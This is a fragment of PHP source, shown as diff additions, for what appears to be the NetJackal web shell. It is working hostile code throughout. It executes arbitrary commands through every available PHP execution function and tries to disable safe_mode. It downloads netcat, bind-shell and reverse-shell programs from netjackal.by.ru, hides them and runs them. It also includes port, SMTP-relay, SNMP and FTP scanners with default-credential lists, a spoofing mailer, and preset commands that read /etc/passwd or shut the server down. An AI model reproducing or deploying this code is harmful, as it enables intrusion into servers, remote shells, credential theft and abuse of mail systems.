&& is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uf) && is_writable($uf))return $uf; +if(is_dir($af) && is_writable($af))return $af; +if(is_dir($se) && is_writable($se))return $se; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return '.'; +} +function shelL($command){ +global $windows; +$exec=$output=''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} +elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} +elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;} +elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command); +elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} +elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);} +elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command); +elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command); +elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws); +return $exec; +} +function getiT($get){ +$fo=strtolower(ini_get('allow_url_fopen')); +$ui=strtolower(ini_get('allow_url_include')); +if($fo || $fo=='on')$con=file_get_contents($get); +elseif($ui || $ui=='on'){ +ob_start(); +include('http://netjackal.net/'); +$con=ob_get_contents(); +ob_end_clean(); +} +else{ +$u=parse_url($get); +$host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port']; +$url=fsockopen($host,$port,$en,$es,12); +fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +return $con; +} +function downloadiT($get,$put){ +$con=getiT($get); +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function winshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +win_shell_execute('cmd.exe','',"/C $command >\"$name\""); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function srvshelL($command){ +$name=whereistmP()."\\".uniqid('NJ'); +$n=uniqid('NJ'); +$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; +win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); +win32_start_service($n); +win32_stop_service($n); +win32_delete_service($n); +sleep(1); +$exec=file_get_contents($name); +unlink($name); +return $exec; +} +function comshelL($command,$ws){ +$exec=$ws->exec ("cmd.exe /c $command"); +$so=$exec->StdOut(); +return $so->ReadAll(); +} +function smtpchecK($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function mysqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mysql_connect')){ +$l=mysql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function mssqlchecK($host,$user,$pass,$timeout){ +if(function_exists('mssql_connect')){ +$l=mssql_connect($host,$user,$pass); +if($l)return 1; +} +return 0; +} +function checksmtP($host,$timeout){ +$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com'; +$sock=fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.uniqid('NJ')."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function replace_stR($s,$h){ +$ret=$h; +foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret); +return $ret; +} +function check_urL($url,$method,$search='200',$timeout=3){ +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=fsockopen($host,$port,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;} +while(!feof($sock)){ +$res=fgets($sock); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=uniqid('NJ'); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n; +$sock=fsockopen("udp://$ip",161); +if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout); +fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +if($res != '')return 1;else return 0; +} +$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF'; +if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');} +function brshelL(){ +global $errorbox,$windows,$et,$hcwd; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://netjackal.by.ru/br'; +$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; +$n=uniqid('NJ_'); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$c=($_REQUEST['C'])?1:0; +if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winbind.p",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $port &"); +echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>"; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name=$name.'.pl'; +$bd=downloadiT("$addr/winrc.p",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error;else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.p",$name); +if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &"); +} +} +echo '<font color=blue>Done!</font>';} +else{echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='50%' bgcolor='#333333'>Bind shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=port value=55501 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input type=submit class=buttons value=Bind></form>$et</td><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='40%' bgcolor='#333333'>Reverse shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#808080'>IP:</td><td bgcolor='#808080'><input type=text name=ip value=";echo $_SERVER['REMOTE_ADDR'];echo " size=17></td></tr><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=rport value=53 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et$et";}} +function showimagE($img){ +echo "<center><img border=0 src='".hlinK("imagE=$img&&workingdiR=".getcwd())."'></center>";} +function editoR($file){ +global $errorbox,$et,$hcwd,$cwd; +if(is_file($file)){ +if(!is_readable($file)){echo "$errorbox File is not readable$et<br>";} +if(!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";} +$data=file_get_contents($file); +echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'>$hcwd<input type=text value='".htmlspecialchars($file)."' size=75 name=file><input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='64'>"; +echo htmlspecialchars($data); +echo "</textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$file' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>"; +} +else {echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'><input type=text value='$cwd' size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='63'></textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$cwd' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>"; +} +echo "$hcwd<input type=submit class=buttons name=Save value=Save></form>$et</center>"; +} +function webshelL(){ +global $windows,$hcwd,$et,$cwd; +if($windows){ +$alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>"; +} +else{ +$alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>"; +if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>"; +if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>"; +} +echo "<center><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><form method='POST'><tr><td width='20%'><b>Location:</b><input type=text name=workingdiR size=82 value='$cwd'><input class=buttons type=submit value=Change></form>$et<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><tr><td><b>Web Shell:</b></td></tr><td bgcolor='#666666'><textarea rows='23' cols='79'>"; +if(!empty($_REQUEST['cmd']))echo shelL($_REQUEST['cmd']); +echo"</textarea></td></tr><form method=post><tr><td bgcolor='#808080'><input type=text size=91 name=cmd value='";if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo "'>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor='#808080'><select name='cmd' width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></form>$et</table><center>"; +} +function maileR(){ +global $msgbox,$et,$hcwd; +if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +if(mail($to,$subject,$body,"From: $from"))echo "$msgbox<b>Mail sent!</b><br>$et"; +} +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'><td><b>Mailer:</b></td></tr><td width='20%' bgcolor='#666666'>SMTP</td><td bgcolor='#666666'>".ini_get('SMTP').' ('.ini_get('smtp_port').")</td></tr><tr><td bgcolor='#808080'>From:</td><td bgcolor='#808080'><input name=from type=text value='evil@hell.gov' size=55>$hcwd</td><tr><td width='25%' bgcolor='#666666'>To:</td><td bgcolor='#666666'><input name=to type=text value='";if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo "' size=55></td></tr><tr><td bgcolor='#808080'>Subject:</td><td bgcolor='#808080'><input name=subject type=text value='' size=55></td><tr><td bgcolor='#666666'>Body:</td><td bgcolor='#666666'><textarea rows='18' cols='43' name=body></textarea></td></tr><tr><td width='10%' bgcolor='#808080'></td><td bgcolor='#808080' align='right'><input type=submit class=buttons value=Send></form>$et"; +} +function scanneR(){ +global $hcwd,$et; +if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1'; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0; +echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br>'; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if(checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=''; +if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')'; +echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";} +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +} +elseif(!empty($_REQUEST['securityscanner'])){ +echo '<font color=blue>'; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f=substr($from,strrpos($from,'.')+1); +$from=substr($from,0,strrpos($from,'.')); +if(!empty($_REQUEST['httpscanner'])){ +echo 'Loading webserver bug list...'; +$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL'); +$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>'; +}else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:<br><br>";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;} +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port; +$open=$ser=''; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if($scan){ +$ser=''; +if($ser=getservbyport($po,'tcp'))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open<br>";$output=1;} + +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo 'Unknow'; +else echo $res; +echo '<br>'; +$output=1; +} +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@ADMINDIRS')) +foreach($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@USERS')) +foreach($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +elseif(strstr($page,'@NUKE')) +foreach($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";} +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;} +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=''; +if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com; +foreach($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms.=" $v "; +} +if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} +} +} +if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=ftp_connect($ip,21,$timeout); +if($ftp){ +if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";} +} +} +} +} +if($output)echo '<hr size=1 noshade>'; +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +if(!empty($buglist))unlink($buglist); +} +elseif(!empty($_REQUEST['directoryscanner'])){ +$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1']; +echo "<font color=blue><pre>Scanning started...\n"; +for($i=0;$i<count($dir);$i++){ +$d=trim($dir[$i]); +if($r){ +$adr="http://$host/$d/"; +if(check_urL($adr,'GET','302')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";} +}else{ +$adr="$d.$host"; +$ip=gethostbyname($adr); +if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";} +} +} +echo 'Done!</pre></font>'; +} +else{ +$t="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'"; +$chbox=(extension_loaded('sockets'))?"<input type=checkbox style='border-width:1px;background-color:#808080;' name=tcp value=1 checked>TCP<input type=checkbox name=udp style='border-width:1px;background-color:#808080;' value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; +echo "<center>$t><td>Port scanner:</td></tr><td width='25%' bgcolor='#808080'>Target:</td><td bgcolor='#808080' width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor='#666666' width=25%>From:</td><td bgcolor='#666666' width=25%><input name=fromport type=text value='1' size=5></td></tr><tr><td bgcolor='#808080' width=25%>To:</td><td bgcolor='#808080' width=25%><input name=toport type=text value='1024' size=5></td></tr><tr><td width='25%' bgcolor='#666666'>Timeout:</td><td bgcolor='#666666'><input name=timeout type=text value='2' size=5></td><tr><td width='25%' bgcolor='#808080'>$chbox</td><td bgcolor='#808080' align='right'>$hcwd<input type=submit class=buttons name=portscanner value=Scan></form>$et$t><td>Discoverer:</td></tr><tr><td width='25%' bgcolor='#808080'>Host:</td><td bgcolor='#808080' width=80%><input name=host value='".$_SERVER["HTTP_HOST"]."' size=40></td><td bgcolor='#808080'></td></tr><tr><td width='25%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width=80%><input name=dic size=40></td><td bgcolor='#666666'></td></tr><tr><td width='25%' bgcolor='#808080'>Search for:</td><td bgcolor='#808080' width=40%><input type=radio value=1 checked name=r1>Directories<input type=radio name=r1 value=0>Subdomains</td><td bgcolor='#808080' align='right' width=40%><input type=submit class=buttons name=directoryscanner value=Scan></td></form></tr></table>"; +$host=substr($host,0,strrpos($host,".")); +echo "$t name=security><td>Security scanner:</td></tr><td width='25%' bgcolor='#808080'>From:</td><td bgcolor='#808080' width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style='border-width:1px;background-color:#808080;' name=nslookup checked>NS lookup</td></tr><tr><td bgcolor='#666666' width=25%>To:</td><td bgcolor='#666666' width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width='25%' bgcolor='#808080'>Timeout:</td><td bgcolor='#808080'><input name=timeout type=text value='2' size=5></td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ipscanner value=1 checked onClick='document.security.port.disabled = !document.security.port.disabled;' style='border-width:1px;background-color:#666666;'>Port scanner:</td><td bgcolor='#666666'><input name=port type=text value='21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=httpbanner value=1 checked style='border-width:1px;background-color:#808080;'>Get web banner</td><td bgcolor='#808080'><input type=checkbox name=httpscanner value=1 checked style='border-width:1px;background-color:#808080;'>Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style='border-width:1px;background-color:#808080;'>SMTP relay check</td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ftpscanner value=1 checked onClick='document.security.userpass.disabled = !document.security.userpass.disabled;' style='border-width:1px;background-color:#666666;'>FTP password:</td><td bgcolor='#666666'><input name=userpass type=text value='anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=snmpscanner value=1 onClick='document.security.com.disabled = !document.security.com.disabled;' checked style='border-width:1px;background-color:#808080;'>SNMP:</td><td bgcolor='#808080'><input name=com type=text value='public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes' size=60></td></tr><tr><td width='25%' bgcolor='#666666'></td><td bgcolor='#666666' align='right'><input type=submit class=buttons name=securityscanner value=Scan></form>$et"; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$cwd,$safemode; +$t8="<td width='25%' bgcolor='#808080'>"; +$t6="<td width='25%' bgcolor='#666666'>"; +$mil="<a target='_blank' href='http://www.milw0rm.org/related.php?program="; +$basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF'; +if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER']; +$osver=$tsize=$fsize=''; +$ds=implode(' ',$disablefunctions); +if($windows){ +$osver=' ('.shelL('ver').')'; +$sysroot=shelL("echo %systemroot%"); +if(empty($sysroot))$sysroot=$_SERVER['SystemRoot']; +if(empty($sysroot))$sysroot = getenv('windir'); +if(empty($sysroot))$sysroot = 'Not Found'; +if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%'); +for($i=66;$i<=90;$i++){ +$drive=chr($i).':\\'; +if(is_dir($drive)){ +$fsize+=disk_free_space($drive); +$tsize+=disk_total_space($drive); +} +} +}else{ +$ap=shelL('whereis apache'); +if(!$ap)$ap='Unknow'; +$fsize=disk_free_space('/'); +$tsize=disk_total_space('/'); +} +$xpl=rootxpL();if(!$xpl)$xpl='Not found.'; +$disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize); 